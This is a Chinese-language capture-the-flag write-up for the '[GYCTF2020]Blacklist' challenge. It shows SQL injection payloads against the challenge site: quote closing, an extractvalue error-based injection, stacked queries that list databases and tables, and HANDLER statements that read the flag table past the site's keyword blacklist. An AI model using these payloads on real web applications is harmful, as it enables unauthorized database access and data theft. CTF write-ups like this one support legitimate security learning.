[GYCTF2020]Blacklist

一、题目信息

  1. 经测试发现可能是SQL注入

image-20211020183238631

二、注入测试

  1. 构造闭合

image-20211020183553929
  1. 得到三条数据

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}
array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
  1. 测试返回黑名单列表

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
  1. 使用xpath 报错注入获取数据

/
?inject=1' and extractvalue(0x0a,concat(0x7e,(database()),0x7e)) and '1

user: root@localhost
version: 10.3.18-MariaDB
database: supersqli
image-20211020185015766
  1. 测试发现可以进行堆叠注入

  2. 获取所有数据库名

/?inject=-1';show databases;
image-20211020191502448
ctftraining
information_schema
mysql
performance_schema
test
supersqli
  1. 获取所有表名

/?inject=1';show+tables;
image-20211020185706882

得到:

FlagHere
words
  1. 查询表结构

/?inject=-1';show create table FlagHere;
/?inject=-1';show create table words;
image-20211020194001518
image-20211020194345422

三、解题思路

使用HANDLER语句读取数据

image-20211020194857417

Get Flag!

HANDLER语句解释

handler ... open      #打开一个表
handler ... read      #访问表内容,在调用close前是不会关闭的
handler ... close     #关闭会话

最后更新于

这有帮助吗?